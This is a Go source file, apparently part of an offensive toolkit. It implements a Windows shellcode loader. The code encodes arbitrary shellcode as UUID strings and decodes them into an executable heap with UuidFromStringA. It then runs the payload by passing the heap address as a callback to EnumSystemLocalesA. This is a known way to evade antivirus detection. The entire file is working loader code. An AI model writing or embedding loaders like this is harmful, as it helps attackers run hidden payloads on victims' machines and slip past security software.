package shellcode

import (
	"bytes"
	"encoding/binary"
	"fmt"
	"unsafe"

	"golang.org/x/sys/windows"

	"github.com/google/uuid"
)

func UuidFromString(shellcode []byte) error {
	uuids, err := shellcodeToUUID(shellcode)
	if err != nil {
		return err
	}

	kernel32 := windows.NewLazySystemDLL("kernel32")
	rpcrt4 := windows.NewLazySystemDLL("Rpcrt4.dll")

	HeapCreate := kernel32.NewProc("HeapCreate")
	HeapAlloc := kernel32.NewProc("HeapAlloc")
	EnumSystemLocalesA := kernel32.NewProc("EnumSystemLocalesA")
	UuidFromString := rpcrt4.NewProc("UuidFromStringA")

	heapAddr, _, err := HeapCreate.Call(
		0x00040000,
		0,
		0,
	)
	if heapAddr == 0 {
		return err
	}

	addr, _, err := HeapAlloc.Call(
		heapAddr,
		0,
		0x00100000,
	)
	if addr == 0 {
		return err
	}

	addrPtr := addr
	for _, uuid := range uuids {
		u := append([]byte(uuid), 0)

		rpcStatus, _, err := UuidFromString.Call(
			uintptr(unsafe.Pointer(&u[0])),
			addrPtr,
		)
		if rpcStatus != 0 {
			return err
		}

		addrPtr += 16
	}

	ret, _, err := EnumSystemLocalesA.Call(
		addr,
		0,
	)
	if ret == 0 {
		return err
	}

	return nil
}

func shellcodeToUUID(shellcode []byte) ([]string, error) {
	if 16-len(shellcode)%16 < 16 {
		pad := bytes.Repeat([]byte{byte(0x90)}, 16-len(shellcode)%16)
		shellcode = append(shellcode, pad...)
	}

	var uuids []string
	for i := 0; i < len(shellcode); i += 16 {
		var uuidBytes []byte

		buf := make([]byte, 4)
		binary.LittleEndian.PutUint32(buf, binary.BigEndian.Uint32(shellcode[i:i+4]))
		uuidBytes = append(uuidBytes, buf...)

		buf = make([]byte, 2)
		binary.LittleEndian.PutUint16(buf, binary.BigEndian.Uint16(shellcode[i+4:i+6]))
		uuidBytes = append(uuidBytes, buf...)

		buf = make([]byte, 2)
		binary.LittleEndian.PutUint16(buf, binary.BigEndian.Uint16(shellcode[i+6:i+8]))
		uuidBytes = append(uuidBytes, buf...)

		uuidBytes = append(uuidBytes, shellcode[i+8:i+16]...)

		u, err := uuid.FromBytes(uuidBytes)
		if err != nil {
			return nil, fmt.Errorf("there was an error converting bytes into a UUID:\n%s", err)
		}

		uuids = append(uuids, u.String())
	}

	return uuids, nil
}